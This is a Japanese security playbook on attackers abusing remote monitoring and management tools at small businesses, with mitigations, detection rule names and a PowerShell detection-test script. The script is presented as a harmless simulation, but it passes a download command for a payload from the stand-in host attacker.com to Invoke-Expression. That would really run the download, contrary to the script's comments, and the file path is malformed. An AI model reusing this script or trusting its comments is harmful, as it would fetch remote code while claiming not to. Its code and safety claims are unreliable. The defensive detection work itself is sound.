中小企業向けRMMセキュリティ:リモートアクセス強化のためのプレイブック
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
攻撃者は、正当なリモートモニタリングおよび管理 (RMM) ツールやリモートデスクトップサービス (RDS) を悪用して持続性を確立し、横移動をサポートするケースが増えています。ConnectWise ScreenConnect、MeshAgent、VNC などのツールは、脆弱性の悪用やトロイの木馬化されたインストーラーを通じて武器化可能です。これにより、中小企業において、悪意のある活動が正当な IT 管理に非常に似てしまう大きな課題が生じます。
調査
この分析は、180 万以上の管理対象エンドポイントからの Acronis テレメトリを利用して、SMBs および MSPs に対する RMM 関連のリスクを評価しました。研究者は、63% のエンドポイントが複数のリモートアクセスツールを実行しており、攻撃の潜在的な攻撃面を拡大していることを発見しました。研究は、RMM ソフトウェアを 3 つのカテゴリに分けました:ブロックするツール、監視と強化するツール、監査とメンテナンスするツールです。
緩和策
組織は、グループポリシーを通じて不要な RDP サービスを無効にし、ネットワークレベルの認証 (NLA) を強制し、すべての RMM 管理者アカウントに MFA を要求すべきです。アプリケーションの許可リスト登録によって、無許可の RMM インストールを防ぐことが助けになります。また、インターネットに接続されている RMM インフラストラクチャは迅速にパッチを当てるべきです。VPN や ZTNA ゲートウェイを通じたリモートアクセスのルーティングも、アクセスコントロールを強化するために推奨されています。
対応策
許可されていない RMM ツールが検出された場合、組織はそのインストール元を即座に調査し、関連する認証情報の盗難や横移動を探すべきです。許可されていない MeshAgent の活動は、確認された侵害として扱われるべきです。自動削除は持続性メカニズムが存在する場合、効果がない可能性があり、手動のインシデントレスポンスとより深いフォレンジック調査へのエスカレーションが必要になります。
攻撃の流れ
この部分はまだ更新中です。
検出
代替リモートアクセス/管理ソフトウェア (プロセス生成経由)
可能性のある ScreenConnect リモートコマンド実行の試み (コマンドライン経由)
代替リモートアクセス/管理ソフトウェア (システム経由)
代替リモートアクセス/管理ソフトウェア (監査経由)
マルウェア展開のための PowerShell の使用 [Windows PowerShell]
無許可アクセスのための RDP 設定変更を検出 [Windows レジストリエベント]
シミュレーションの実行
前提条件:テレメトリーとベースライン事前チェックが合格していること。
理由: このセクションでは、検出ルールをトリガーするために設計された敵対者の技術 (TTP) の正確な実行を詳述します。コマンドと説明は、特定された TTP を直接反映する必要があり、検出ロジックによって期待されるテレメトリを正確に生成することを目的としています。抽象的または無関係な例は誤診に繋がります。
-
攻撃の説明とコマンド: 敵対者はフィッシングペイロード経由でワークステーションへの初期アクセスを獲得しました。持続性とリモートコントロールを確立するために、リモートアクセス・トロイの木馬を展開することを意図しています。PowerShell のワンライナーを実行し、このシミュレーションでは実際にペイロードをダウンロードしていませんが、署名文字列
AsyncRATをスクリプトブロック内に含めることで、マルウェアインストールの展開フェーズを模倣します。これは、攻撃者が単純なスクリプトを使用してツールキットをダウンロードする様子を模したものです。 -
リグレッションテストスクリプト:
# 指定された文字列を含むことで検出ルールをトリガーするシミュレーションスクリプトです。 # 注: これはテレメトリのみを生成するための非悪意のシミュレーションです。 $SimulatedMalwareName = "AsyncRAT" Write-Host "$SimulatedMalwareName のデプロイメントシークエンスを初期化中..." # このブロックはダウンローダー/インストーラーのロジックをシミュレートします。 $payload = "Invoke-WebRequest -Uri 'http://attacker.com/payload.exe' -OutFile '$env:TEMPmalware.exe'" # スクリプトブロックログ (イベント4104) に表示されるように文字列を実行します。 Invoke-Expression "Write-Output '$SimulatedMalwareName を展開中...'; $payload" -
クリーンアップコマンド:
# クリーンアップ: 実際に作成されたファイルがあれば削除します。 # このシミュレーションでは、ファイルは実際にはダウンロードされませんでした。 Remove-Item -Path "$env:TEMPmalware.exe" -ErrorAction SilentlyContinue Write-Host "クリーンアップ完了。"